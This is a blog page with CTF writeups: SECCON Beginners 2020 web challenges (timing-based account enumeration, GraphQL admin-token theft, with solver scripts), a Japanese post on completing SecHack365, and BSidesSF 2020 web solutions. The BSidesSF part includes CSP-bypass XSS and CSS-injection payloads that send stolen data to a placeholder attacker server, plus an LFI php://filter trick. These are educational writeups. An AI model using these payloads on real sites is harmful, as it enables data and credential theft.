SECCON Beginners CTF 2020 writeup (Web/Spy & Web/profiler)

はじめに

SECCON Beginners CTF 2020において、運営・作問チームとしてWebカテゴリの Spy 及び profiler の作問を行いました。楽しんでいただけたのでしたら幸いです。

以下はwriteupです。

[Beginner] Spy (55pts / 441solves)

処理の時間差を利用したAccount Enumerationの問題です。

配布されたファイルから以下のことが分かります。

  • /に対してnamepasswordをPOSTすることでログインが可能である。
  • nameがデータベース内に存在する場合、passwordが正しいかチェックされる。なお、このチェックにおいては、入力値にソルトを付加した上で、ストレッチング(ハッシュ値を複数回計算するの意)が行われる。
  • /challengeにおいて、正しいアカウントの組合せを選択できればFLAGが取得できる。
  • 各レスポンスにおいて処理時間が返却されている。

本問の目的は、何らかのアカウントにログインすることではなく、存在するアカウントを列挙することです。

さて、前述の通り、入力されたnameに対応するアカウントが存在した(つまり、if not existsではなかった)場合、以下の処理が行われます。

if not exists:
    return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
    return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

ポイントは、ストレッチングの処理はある程度の時間を要することです。つまり、アカウントが存在しない場合は処理時間が短い一方で、アカウントが存在する場合はストレッチングのための処理時間がある程度かかります。

そこで、従業員リストに掲載されている各従業員の名前をnameに入力してみます。すると、いくつかのリクエストにおいて他のリクエストよりもレスポンスまでの時間が長いものが存在することが分かるので、後はどの従業員名を入力した場合に処理時間が有意に長くなるのかを調べれば良いです。

なお、上記を手作業で行うのは煩雑であるため、適宜スクリプトを組むか、BurpのIntruderのような機能を用いると簡便に解くことができます。

以下にソルバーの例を示します。

import os

import requests
from bs4 import BeautifulSoup


def enumarate_accounts():
    session = requests.Session()
    employees = [
        "Arthur", "Barbara", "Christine", "David", "Elbert", 
        "Franklin", "George", "Harris", "Ivan", "Jane", 
        "Kevin", "Lazarus", "Marc", "Nathan", "Oliver", 
        "Paul", "Quentin", "Randolph", "Scott", "Tony", 
        "Ulysses", "Vincent", "Wat", "Ximena", "Yvonne", "Zalmon"
    ]

    T = []
    for employee in employees:
        response = session.post(f"http://spy.quals.beginners.seccon.jp/", {"name": f"{employee}", "password": "x"})
        soup = BeautifulSoup(response.text, "html.parser")
        consume = float(soup.select('p')[0].text.split()[2])

        T.append((employee, consume))

    T.sort(key=lambda t: t[1], reverse=True)

    maxdiff = 0
    maxdiff_i = -1
    for i in range(1, len(T)):
        if abs(T[i][1] - T[i-1][1]) > maxdiff:
            maxdiff = abs(T[i][1] - T[i-1][1])
            maxdiff_i = i

    return sorted([employee for employee, consume in T[:maxdiff_i]])


def solve(accounts):
    response = requests.post(f"http://spy.quals.beginners.seccon.jp/challenge", {"answer": accounts})
    soup = BeautifulSoup(response.text, "html.parser")
    print(f"[*] FLAG: {soup.select('#message')[0].text}")


def main():
    accounts = enumarate_accounts()
    print(f"[*] Registered accounts: {', '.join(accounts)}")
    solve(accounts)


if __name__ == '__main__':
    main()

答えは、Elbert George Lazarus Marc Tony Ximena Yvonneの組み合わせでした。

FLAG: ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}

[Medium] profiler (301pts / 59solves)

本問について、競技開始後に何度か問題サーバが停止する不具合が発生しました。ご迷惑をおかけし申し訳ございませんでした。

--

GraphQL Injectionの問題です。

問題のアプリケーションにアカウントを登録すると、トークンが表示されます。また、登録した情報を用いてアカウントにログインすると、以下の表示が行われます。

  • 名前
  • ID(@付きで表示)
  • プロフィール(初期値は空)
  • Profileフォーム
  • Tokenフォーム
  • Updateボタン
  • Get FLAGボタン
  • Logoutボタン

さて、適当な値をProfileフォームに入れてUpdateボタンを押すとエラーメッセージが表示されます。そこで、アカウント登録時に表示されたトークンを入力した上でUpdateボタンを押すと、正しくプロフィール欄が更新されることが分かります。

また、Get FLAGボタンを押して/flagにアクセスすると、トークンがadminのものではないというエラーが表示されます。しかしながら、アプリケーションにはadminのトークンを閲覧する機能や、トークンを上書きする機能は見当たりません。

では、プロフィールの更新やフラグ取得の際に、その裏側ではどのような通信が行われているのでしょうか。ブラウザの開発者ツールからやり取りされる通信を見ると、プロフィール更新時には以下のようなデータがPOSTされていることが分かります。

query: "mutation {
  updateProfile(profile: "Hello, profiler!", token: "980ac...f4e8a4ac")
}"

また、フラグ取得時には以下のデータがPOSTされていることが分かります。

query: "query {
  flag 
}"

querymutationなどのキーワードから調べると、上記はGraphQL APIとやりとりしている通信であることが分かります。

さて、GraphQLにおいては、イントロスペクションクエリという特殊なクエリを送信することで、(イントロスペクションクエリの実行が拒否されていない以上は)APIで定義されているエンドポイントやデータのスキーマを閲覧することができます。

では、定義内容を確認してみましょう。例として、GraphQL Playgroundというツールをインストールし、APIのエンドポイントであるURLを指定すると、自動的にインスペクションクエリを送信した上で、スキーマを可視化してくれます。

Docsのタブを見ると、me, someone, flagというqueryと、updateProfile, updateTokenというmutationが定義されていることが分かります。 f:id:Szarny:20200524134041p:plain

また、updateTokenを詳しく見てみると、updateToken(token String!): Boolean!と定義されています。

これは、tokenという文字列型の非NULL値を受けとり、ブール型の値を返すというエンドポイントです。このエンドポイントを利用すると、自身のトークンをadminのトークンに変更できそうなことが推察できます。 f:id:Szarny:20200524134050p:plain

では、adminのトークンはどのように知ることができるのでしょうか。もう一度queryの欄を見ると、someone(uid: ID!): Userというqueryが定義されていることが分かります。これは、uidというID型(重複しない文字列)の非NULL値を受けとり、User型の値を返すというエンドポイントです。また、User型にはuid, name, profile, tokenというフィールドが存在することが分かります。 f:id:Szarny:20200524134103p:plain

上記からsomeone(uid: String!)クエリを用いて特定のユーザの情報を取得できることが推察されます。

そこで、以下のクエリを送信してみましょう。

query {
  someone(uid: "admin") {
    token
  }
}

このクエリのレスポンスadminのトークンがわかるため、updateToken(token: "adminのtoken")を送信し、自身のトークンをadminのものに置き換えた上で/flagのページにアクセスするとFLAGが取得できます。

以下にソルバーの例を示します。

import os
import random
import json
from hashlib import sha256

import requests


url = "http://profiler.quals.beginners.seccon.jp"
uid = sha256(str(random.random()).encode()).hexdigest()
password = sha256(str(random.random()).encode()).hexdigest()
name = sha256(str(random.random()).encode()).hexdigest()
session = requests.Session()
admin_token = None


def register():
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = f"uid={uid}&password={password}&name={name}"
    response = session.post(url+"/register", headers=headers, data=data)


def login():
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = f"uid={uid}&password={password}"
    response = session.post(url+"/login", headers=headers, data=data)


def get_admin_token():
    global admin_token

    headers = {
        "Content-Type": "application/json"
    }
    data = {
        "query": """query {
            someone(uid: "admin") {
                token
            }
        }"""
    }
    response = session.post(url+"/api", headers=headers, data=json.dumps(data)) 
    admin_token = response.json()["data"]["someone"]["token"]


def update_token():
    headers = {
        "Content-Type": "application/json"
    }
    data = {
        "query": """mutation {{
            updateToken(token: "{admin_token}")
        }}""".format(admin_token=admin_token)
    }
    response = session.post(url+"/api", headers=headers, data=json.dumps(data))


def get_flag():
    headers = {
        "Content-Type": "application/json"
    }
    data = {
        "query": """query {
            flag
        }"""
    }
    response = session.post(url+"/api", headers=headers, data=json.dumps(data)) 
        
    print(f"[*] FLAG: {response.json()['data']['flag']}")


def main():
    register()
    login()
    get_admin_token()
    update_token()
    get_flag()


if __name__ == '__main__':
    main()

FLAG: ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}

--

なお、自身でイントロスペクションクエリを送信した上で、そのレスポンスを可視化することもできます。以下の記事を参考にして下さい。

GraphQL — Common vulnerabilities & how to exploit them

SecHack365 思索駆動コースを修了しました + 2020年度トレーニーに向けて

はじめに

2019年度 SecHack365 思索駆動コースを修了しました。

本記事では、SecHack365に関する基本的な情報に加えて、次年度以降のトレーニーに向けた諸々を書きます。

SecHack365の概要

SecHack365は、NICT(情報通信研究機構)が主催するサイバーセキュリティに関する長期ハッカソンです。以下に、公式サイトに記載されている概要を引用して示します。

若手セキュリティイノベーター育成プログラム SecHack365は、25 歳以下の学生や社会人から公募選抜する 40 名程度の受講者を対象に、サイバーセキュリティに関するソフトウェア開発や研究、実験、発表を一年間継続してモノづくりをする機会を提供する長期ハッカソンです。全国の一流研究者・技術者や受講者等との交流をするなかで、自ら手を動かし、セキュリティに関わるモノづくりができる人材 (セキュリティイノベーター) を育てます。

SecHack365が他のハッカソンと大きく異なる点は、その期間と開催形態にあります。

まず期間について、一般的なハッカソンは2,3日程度で長くても1週間程度という形態のものが多いですが、SecHack365は本当に1年間を掛けて開発(それに付随するサーベイ、議論、発表など)を行います。そのため、他のハッカソンと比べて自分の興味のある分野についてより深く取り組むことができると言えます。

一方の開催形態について、SecHack365では年に数回、特定の場所に全トレーニーが集まる集合イベントが開催されます。各集合イベントでは、各コース(下記参照)独自のコースワークやコースワークをまたいだトレーニー、トレーナー間での議論、開発中のプロダクトに関するプレゼンテーションといったイベントが開催されます。加えて、オンラインでもNONSTOPという開発環境が与えられているため、トレーニーはいつでもこのNONSTOPにアクセスして開発に取り組むことができます。

コース制度

SecHack365では、各トレーニーのプロダクト開発に関するアプローチや対象領域の違いに応じて、複数のコースが用意されています。以下に、公式サイトに記載されている内容を引用して示します。

■表現駆動コース

・アイデアをかたちにする、その過程で価値を最大化するなどサービスを磨きあげるコース。

・グループでのハッカソン実施によるサービスづくりを進める

■学習駆動コース

・興味ある技術や作りたいものに対して、付加的な学習をしながら開発を進めるコース

・付加学習により他技術や他分野を知ることで、作るもののアイディアの幅を広げる

■開発駆動コース

・まずは実装を作り上げることに重きをおく、開発指導に特化したコース

・開発テーマや分野が定まっている受講生を受け入れて開発を進めるための指導を実施する

■思索駆動コース

・思索を通じて問題を深掘りし、その解決を行うコース

・日常に遍在する違和感に立ち向かう人材を育成する

■研究駆動コース

・研究的プロセスに基づいたアイデア、仮説立案と検証評価を重視したコース

・研究者的なスキルを磨いて、将来の研究者になり得る人材を育成する

各コースについて、個人的な見解を述べます。次年度以降はコース編成が変わるかもしれないので、あまり役に立たないかもしれません。

まず、表現駆動コースは、いわゆる一般的なハッカソン(解釈は皆さんに委ねます)に最も近いコースだと思います。各集合イベント(特に中間発表まで)では、特定のグループに分かれた上で、アイディアの発案から解決策の提示(可能であれば実装)を行い、それを実際に発表することでフィードバックを得るというループを体験できます。特に、まだ具体的に何がやりたいかは明確に決まっていないがサイバーセキュリティに関するモノづくりがしたいという人、グループで活動しながら問題解決に取り組みたい人に向いていると思います。

学習駆動コースは、その名の通り学習をしながらモノづくりを進めていくコースです。特に、コンピュータサイエンスの根幹に関わる領域(OS、コンパイラFPGA等)について、トレーナー陣や他のトレーニーの方と知識や技術を身に着けながら開発を進めていきたいという人に向いていると思います。

開発駆動コースは、これも読んで字の如く開発に特化したコースです。開発してみたいアイディアについて、細かく考える前にまずは実装してみて、そこから問題点の抽出と改善策の立案を行い、また実装を行うというイテレーションを1年間掛けて回し続けるというイメージです。特に、開発したいテーマが決まっている人や実装が好きな人、実装が好きな人、実装が好きな人に向いていると思います。

思索駆動コースは(私が所属していたコースです)、開発駆動コースとは対照的に、開発を行う前に自身が対象としたい問題について、トレーナー及びトレーニー間で何度も深く議論を行い、その問題の捉え方や解決に向けたアプローチを思索していくというコースです。思索駆動コースを選んだあなたは集合イベント及びオンラインゼミの双方において、自身が取り組もうとしている問題とはそもそもどういうものなのか、もっとシャープな解決策やそれに向けたアプローチは存在しないのか、そもそもサイバーセキュリティとは何であるのか、といった事柄に常に対峙することになります。議論が好きな人、取り組みたいことはあるがそのためにどのようなアプローチがいいのか思い悩んでいる人、休み時間にグラウンドに出て遊ぶよりも教室の後ろの方で本を片手にあれこれ考えるのが好きな人に向いていると思います。

研究駆動コースは、いわゆる大学(院)のゼミや研究所で行われているような研究的プロセスに基づいて開発を行うコースです。他のコースと比較して、特に学術的なテーマを扱うことが特徴で、大量の論文をサーベイすることで対象分野のドメイン知識や当該分野が抱える何らかの問題点を理解し、それを基に仮説検証を繰り返すことで開発としての完成度を高めていくというコースです。大学(院)でやっているテーマ(もしくはそれ以外のテーマ)を更に深く掘り下げたい人、プロの研究者の指導を受けながら研究活動に取り組みたい人、まだ研究活動の経験は無いが前もってその流れを体験してみたい人に向いていると思います。

取り組んでいたこと

人的脆弱性対策のためのインテリジェンスを収集、分類するエコシステム及びユーザエンドで動作する人的脆弱性対策のためのツールを開発していました。

詳細は以下のスライドを参照してください(近いうちに公式サイトでポスターも掲示されると思います)。

https://speakerdeck.com/tsubasa_umeuchi/sechuv-security-hub-for-human-vulnerabilities

参加したほうがいいですか?

参加したほうがいいです(おそらく)。無責任かもしれませんが、少しでも参加しようという気持ち(と、参加のためのネタ)を持っているのであれば、とりあえず申し込んでみるのが吉かと思います。

特に参加(申し込み)を躊躇する要因として、「参加のためのネタがまだはっきりしていない」という書き込みや「締切に追われるのがつらそう」という書き込みをちらほら見かけたことがあります。

まず前者については、ネタがはっきりしていない人のためのコースが用意されているので、そちらを検討してみると良いかと思われます。というよりも、そもそもやりたいことが100%明確に決まっている人はいないと思います。むしろ、まだネタが曖昧なので、SecHack365の取り組みを通じてそれを磨いていくという姿勢で臨んでいる人が多いのではないでしょうか(私もそうでした)。ちなみに、申し込み時のテーマと最終的なテーマが全く違っていても問題ありません。とにかく締め切りまでに可能な限り自分のテーマについて考え、それを文字に起こしてみてください。

また後者については、締切があることが緩やかなプレッシャーになる、という捉え方もできると思います。今まで取り組んでみたいテーマがあったが、やり始めるきっかけがなかったという人は、SecHackの申し込みを期にそれを始めてみるとどうでしょうか。そうすれば、来年の3月頃に自分が開発してみたかったものがある程度形になっているかもしれません。ちなみに、締切はめちゃくちゃつらいので、もし採択されたら地道に開発を進めましょう。終盤でめちゃくちゃつらくなります。ちなみに私はめちゃくちゃつらくなりました。

おわりに

SecHack365に関する基本的な情報や次年度以降のトレーニーに向けた諸々を書きました。

何か質問があればこの記事か筆者(https://twitter.com/Sz4rny)にまでコメントをください。また、Twitter等で #SecHack365 をつけてツイートしている人に尋ねてみれば、何らかの答えを返してくれるものと思います。

BSidesSF 2020 CTF Writeup

I played BSidesSF 2020 CTF held on 9 AM PST on February 23 to 4 PM PST on February 24.

Our team NekochanNano! got 924pts (20th place).

f:id:Szarny:20200225133252p:plain

Hereafter, I write about the challenges that I solved.

[Web / 51pts] csp-1

When we open the challenge's URL, the following sentence and a form will appear.

Can you bypass the CSP?
Try to read /csp-one-flag as admin, all payloads submitted here will be sent to the admin.

f:id:Szarny:20200225133014p:plain

As you can see from the title and that sentence, this is a challenge regarding the CSP bypass.

Let's check the content-security-policy value in the HTTP Response Header.

content-security-policy: 
    script-src 'self' data:; 
    default-src 'self'; 
    connect-src *; 
    report-uri /csp_report

In the script-src directive, data: scheme is shown.

For that reason, JavaScript program written in data: scheme like below is allowed and can be executed.

// NOTE:
// "ZmV0Y..." is base64 encoded text of this script.
// fetch("https://csp-1-5aa1f221.challenges.bsidessf.net/csp-one-flag").then(r=>r.text()).then(t=>fetch("YOUR_SERVER"+t))

<script src="data:text/javascript;base64,ZmV0Y2goImh0dHBzOi8vY3NwLTEtNWFhMWYyMjEuY2hhbGxlbmdlcy5ic2lkZXNzZi5uZXQvY3NwLW9uZS1mbGFnIikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5mZXRjaCgiWU9VUl9TRVJWRVIiK3QpKQ=="></script>

When you enter this script tag, the JavaScript will be executed on the browser of admin and you can get the flag in the access log on your web server.

FLAG: CTF{Cant_Stop_Pwning}

[Web / 51pts] csp-2

A revised version of the previous question.

Let's check the content-security-policy value in the HTTP Response Header.

content-security-policy: 
    script-src 'self' ajax.googleapis.com 'unsafe-eval'; 
    default-src 'self' 'unsafe-inline'; 
    connect-src *; 
    report-uri /csp_report

In the script-src directive, ajax.googleapis.com is whitelisted. In addition, unsafe-eval and unsafe-inline is specified.

According to this presentation material, whitelist-based CSP is almost always trivially bypassable because these URLs are tend to have JSONP endpoint or host AngularJS.

Even in this challenge, ajax.googleapis.com hosts AngularJS at the following URL.

https://ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js

The rest part is easy: just incorporate this AngularJS into the challenge page and run the script using that feature like below.

<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"></script> 
<div class="ng-app"> {{ constructor.constructor('fetch("https://csp-2-2446d5a3.challenges.bsidessf.net/csp-two-flag").then(r=>r.text()).then(t=>fetch("YOUR_SERVER"+t))')() }} </div>

FLAG: CTF{Canned_Spam_Perfection}

[Web / 458pts] csp-3

A revised version of the previous question.

Let's check the content-security-policy value in the HTTP Response Header.

content-security-policy: 
    script-src 'self' http://storage.googleapis.com/good.js; 
    default-src 'self'; 
    connect-src *; 
    report-uri /csp_report

In the script-src directive, http://storage.googleapis.com/good.js is whitelisted. This URL is from Firebase Storage, however, we can't access this URL because Public URLs in Firebase Storage take the following format:

http://storage.googleapis.com/<BUCKET NAME>/<FILE NAME>

Hmm... I can't find anything that could be used to exploit from CSP.

After some research, I found a page /redirect specified in the robots.txt.

This page is what is called open redirector that navigates to the URL specified in the url query.

Let's leverage this feature and whitelisted endpoint (http://storage.googleapis.com/good.js) to compromise CSP!

According to the CSP Level 3, 7.6. Paths and Redirects, the path section is ignored after redirect.

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com example.org/path:

Directly loading https://example.org/not-path would fail, as it doesn’t match the policy.

Directly loading https://example.com/redirector would pass, as it matches example.com.

Assuming that https://example.com/redirector delivered a redirect response pointing to https://example.org/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches example.org/path if we ignore its path component.

Because of that, JavaScript file loaded from https://csp-3-05637e51.challenges.bsidessf.net/redirect?url=http://storage.googleapis.com/* is allowed and can be executed!!

So all we need to do is as follows:

  1. Put a JavaScript file for exploits CSP like fetch("https://csp-3-05637e51.challenges.bsidessf.net//csp-three-flag").then(r=>r.text()).then(t=>fetch("YOUR_SERVER"+t)) on Firebase Storage.
  2. Publish with a whitelisted URL like http://storage.googleapis.com/YOUR_BUCKET_NAME/exploit.js.
  3. Input: <script src="https://csp-3-05637e51.challenges.bsidessf.net/redirect?url=https://storage.googleapis.com/YOUR_BUCKET_NAME/exploit.js></script>

Then you can Capture The FLAG!!

FLAG: CTF{Cyber_Security_Practitioner}

[Web / 51pts] had-a-bad-day

The goal in question is to read the flag.php.

When we open the challenge's URL, we can see two buttons (WOOFERS and MEOWERS).

If you click the WOOFERS button, a picture of the dog appears. And if you click the MEOWERS button, a picture of the cat appears.

f:id:Szarny:20200225133054p:plain

When you click the WOOFERS button, the URL is set like this: https://had-a-bad-day-5b3328ad.challenges.bsidessf.net/index.php?category=woofers.

Here, if you change the category query string from woofers to woofers!, the following error message appears.

Warning: include(woofers!.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'woofers!.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

There may be a LFI vulnerability here. However, the category query seems to have a restriction that it must contain woofers or meowers.

So we can include flag.php by this URL: https://had-a-bad-day-5b3328ad.challenges.bsidessf.net/index.php?category=woofers/../flag.

However, we can't figure out what is written in flag.php because the contents of this fire is evaluated by PHP.

You can read the contents of that by using php://filter like this: https://had-a-bad-day-5b3328ad.challenges.bsidessf.net/index.php?category=php://filter/convert.base64-encode/resource=woofers/../flag.

You can get the base64 encoded flag.php, just decode it.

FLAG: CTF{happiness_needs_no_filters}

[Web / 51pts] simple-todos

The challenge's target is a simple todo application using WebSocket by using this material.

f:id:Szarny:20200225133110p:plain

Due to insufficient authority processing, you can also view WebSocket communications that are not related to your account.

Therefore, you can easily get the FLAG by observing WebSocket communication (For example, by using DevTools Network pain, search keyword "CTF").

FLAG: CTF{meteor_js_does_san_francisco}

[Web / 87pts] fun-with-flags

After registration and login process, we can see the message send/receive functions.

f:id:Szarny:20200225133122p:plain

We can find the following input tag where the Flag would be inserted in the target user.

<input type="hidden" name="flag" value=Try reading this value>

Under the Message form, a suspicious message is written.

Express your style

So, I described a style tag in Message form and I confirmed that it was effective.

Therefore, we can reverage the CSS Injection technique for this challenge that I introduced in a previous article (Link).

The sample script used to create the attack vector is as follows.

import sys
import pyperclip

URL: str = "YOUR_SERVER"

def generate_attack_vector(known_secret: str) -> str:
    attack_vector_tmpl: str = """
        input[value^='{known_secret}{try_secret}']{{
            background: url('{url}?secret={known_secret}{try_secret}')
        }}"""

    attack_vector: str = ""

    for secret_param in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}_!?":
        attack_vector += attack_vector_tmpl.format(url=URL,
                                                   known_secret=known_secret,
                                                   try_secret=secret_param)

    attack_vector = "<style>" + attack_vector + "</style>"
    pyperclip.copy(attack_vector)
    return attack_vector


def main() -> None:
    known_secret: str = sys.argv[1] if len(sys.argv) != 1 else ""
    print(generate_attack_vector(known_secret=known_secret))


if __name__ == '__main__':
    main()

Attack vector is as follows.

<style>
input[value^="0"] { background: url(YOUR_SERVER?secret=0) }
input[value^="1"] { background: url(YOUR_SERVER?secret=1) }
...
input[value^="a"] { background: url(YOUR_SERVER?secret=a) }
...
</style>

Just send it to Sheldon repeatedly, then you can Capture The FLAG!

FLAG: CTF{Clandestine_Secret_Stealing}